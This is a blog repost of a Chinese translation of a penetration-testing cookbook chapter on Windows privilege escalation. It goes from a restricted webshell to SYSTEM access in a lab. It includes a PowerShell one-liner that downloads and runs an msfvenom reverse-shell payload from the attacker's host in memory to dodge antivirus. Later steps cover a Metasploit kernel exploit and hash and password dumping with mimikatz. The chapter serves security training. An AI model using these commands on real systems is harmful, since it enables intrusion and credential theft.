专栏首页小白帽学习之路Kali Linux Web渗透测试手册(第二版) - 7.5 - Windows提权

Kali Linux Web渗透测试手册(第二版) - 7.5 - Windows提权

根据我以往的渗透测试经验来看,有60%以上的服务器都是搭建在windows服务器之上的,并且使用SQL Server作为数据库,所以,作为渗透测试者的我们,更应该掌握Windows服务器的相关知识,而提权,就是其中之一。

在本章节,我们将从Windows服务器上的一个有限的WebShell作为切入点,利用公开漏洞来获得system级别的访问权限,当然,system是windows系统的最高级别权限,在该权限下你可以运行所有的可执行命令。

环境准备

在这个章节中,我们假设获得了运行在windows 2008R2服务器上的网站的WebShell(https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx),当然这个WebShell是被限制了执行权限的。

Windows 2008R2可以在(https://www.microsoft.com/en-us/download/details.aspx?id=2227)这里下载到。你需要自己添加Web服务器管理员角色并将它配置为支持ASP.NET,管理员角色添加好了,在命令框中执行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis –I 命令。

实战演练

首先我们需要自己手动上传webshell到自己得服务器上,本例是在:192.168.56.14/cmd.aspx.上传成功后我们第一步要做的就是查看当前用户的级别:

1.打开浏览器访问WebShell,并执行whoami命令,如下图:

如上图,我们的当前用户是defaultapppool,它是iis apppool组的成员。并且这个成员的执行权限是很小的。

2.使msfvenom创建一个反向连接,我们将通过powerShell在目标的内存中运行一些指令,这样是为了防止触发目标服务器上的杀毒软件(只有接触到硬盘操作的时候才会被杀软所重视),所以我们的脚本类型一定要是Powershell支持的脚本类型,参数是-f psh,并且要将该payload保存在下来,使用 -o /var/www/html/cutedolphin.ps1,如下图:

3.创建完payload后,打开Kali服务器,使用命令service apache2 start

4.还需要创建一个handler来监听会话的连接,首先在命令行中执行msfconsole打开metasploit,然后再执行下列命令:

5.Handler的配置如下图所示,仔细检查每一项,确认无误后使用run命令运行:

6.Handler运行后就会处于监听状态,等待目标的链接,所以此时我们需要在目标上执行payload来接入handler,如下图,将Program设置为powershell.exe,Arguments设置为-noexit -ciex((New-ObjetNet.WebClient).DownloadString(‘http://192.168.56.10/cutedolphin.ps1’))然后点击Run运行它:

7.如果payload正确地执行了,那么handler就会接入一个连接,如下图:

8.当meterpreter连接上目标主机时,我们可以尝试使用getsystem命令来提权,如果可以的话便会直接获取到system权限,如果失败的话,正如下图所示,我们使用getsystem并没有成功,还使用了hashdump依然失败了,所以我们只能使用sysinfo命令获取系统相关信息,另辟蹊径。

9.使用background命令将当前会话挂起到后台运行;

10.使用searchsploit命令查找可用于2008R2的模块,其中有一个是用来进行本地权限提升的,但是我们使用它后发现并不起作用,这是因为服务器已经打了补丁的缘故:

11.但是我们知道在Exploit-DB数据库中可用于2008R2的模块绝不仅仅是上图的那6个,我们使用grep命令,查找更多的有关模块,如下图,我们找到了更多:

12.现在我们可以根据自己服务器的配置选择一个可利用的模块,乍一看是有点让人头大,在这里我们可以使用head命令来查看每个候选程序的第一行,比如,如下图,我们可以查看编号为40410的漏洞的前20行信息,可以发现它利用了一个名为Zortam Mp3 Media Studio的软件,但是我们很熟悉我们的服务器中并没有安装该软件,所以我们将它排除,看看别的:

13.我们继续寻找着,知道我们发现了编号为35101的模块,它利用windows的内部组件来进行提权,它属于metasploit的模块之一,所以我们可以将它应用在我们刚才挂起的会话中,模块关键信息如下:

14.打开msfconsole并且使用search命令查找TrackPopupMenu,它是模块的名字,这一点你可以在上图红色横线的地方看到,我们要找的是2014年的,如下图:

15.模块的配置信息如下:

配置完成后应该是这样的:

16.运行漏洞就会发现它会在我们挂起的session 1中生效:

17.在新生成的会话中,我们可以使用getuid命令来查看当前用户信息,也可以使用hashdump命令列出用户的hash密码,还可以加载metasploit模块如mimikatz,并进一步执行kerberos,wdigest,tspkg命令来破解登录用户的密码。

原理剖析

我们在获取到主机的webshell后继续上传更高级的webshell来尝试提权。

首先我们使用msfvenom精心构造了一个powershell类型的payload反向连接,并使用handler来监听它,windows服务器上的powershell会调用WebClient对象和DownloadString函数来下载并执行payload,由于远程文件直接通过IEX在内存中执行了,并没有存储到硬盘中,可以躲过大多数杀软。

获取到目标主机的shell后我们尝试使用命令getsystem命令快速提权,然而并没有起作用,所以我们只好在Exploit-DB数据库中查找其他的可用的模块,该模块可直接用于metasploit中,只需要加载它并未它设置反向连接的IP和端口即可,它便会利用我们已经获得到的session会话尝试执行提权操作,一旦成功,就会返回新的shell。

拓展训练

Pentestmonkey含有一个有趣的程序,它可以评估出当前windows中可能存在的被提权的漏洞,这个程序叫做windows-privesc-check.exe(https://github.com/pentestmonkey/windows-privesc-check/),如下图所示,是它的一些基本用法的展示:

它可以把结果以不同的格式保存下来,如HTML、XML和.txt格式,HTML格式的结果信息如下:

另一个非常有趣的程序是Empire(https://github.com/EmpireProject/Empire),Empire包含多个操作系统的模块,可用于持久化访问,提权,侦察,横向渗透,数据过滤甚至是恶意攻击等目的,但是它并不包在Kali中,你可以在上述地址上下载使用它,下图是它的界面示例:


本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-01-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 这些算法可视化网站助你轻松学算法

    无疑,数据结构与算法学习最大的难点之一就是如何在脑中形象化其抽象的逻辑步骤。而图像在很多时候能够大大帮助我们理解其对应的抽象化的东西,而如果这个图像还是我们自己...

    编程珠玑
  • 网络工具中的“瑞士军刀”了解一下?

    前面介绍过一个不可不知的网络命令-netstat,今天来介绍这个网络工具界的“瑞士军刀”-nc(netcat),它短小精悍,是网络调试利器,它到底有何能耐呢?

    编程珠玑
  • 外链建设:社交媒体

    大多数社交媒体都没有使用nofollow链接,每当社交媒体会员创建指向外部站点的链接时,社交媒体就会自动添加rel=nofollow。在nofollow链接讲座...

    林雍岷
  • Percona server of Mysql 特异功能 与多角度思考

    使用MYSQL 的DBER们都对大事务和关于BINLOG 的 expire_log_days 或者更新的Binlog_expire_logs_seconds(M...

    AustinDatabases
  • 外链建设:详谈链接价值

    在过去十多年前友情链接是非常受欢迎而且有效,但现在不再有效。谷歌允许这些事情持续多年,他们很清楚很多网站管理员和网站所有者都不知道友情链接存在真正的问题。实际上...

    林雍岷
  • 外链建设:论坛营销不是发发外链

    我们将讨论一些我以前称之为社区营销的东西,它也被视为社交营销或社交媒体营销。但我一直在做网络上的所有营销,在创业初期我不得不做,将学习如何使用各种讨论组和论坛来...

    林雍岷
  • 本人andriod开发,一直害怕有一天领导让我接fpga开发,而我年龄大,怎么办?

    开发安卓距离fpga还是有点距离,这个问题还是显得有点让人捉摸不透,安卓开发本身也分为几种情况,安卓底层开发,安卓框架层开发,安卓应用级别的开发,安卓底层开发主...

    程序员互动联盟
  • 谷歌「我不是机器人」按钮隐藏了,但你的隐私暴露了

    我们都曾试图登录一个网站或提交一份表格,结果却被困在交通灯、店面或桥梁的点击框中,不顾一切地试图最终说服计算机我们不是真正的机器人。

    机器之心
  • 年薪20万前端工程师必备技能,你都掌握了么?

    有软件工程方面的研究说,对于开发者个体而言,最优秀的开发者的生产效率约为平均值的2倍,而优秀的开发者会吸引其它优秀的人,或者激励与帮助团队中的其它成员,最终使团...

    用户1730674
  • Jeecg-Boot 快速开发平台

    一款基于代码生成器的JAVA快速开发平台!全新架构前后端分离:SpringBoot 2.x,Ant Design&Vue&,Mybatis,Shiro,JWT。...

    程序源代码

扫码关注云+社区

领取腾讯云代金券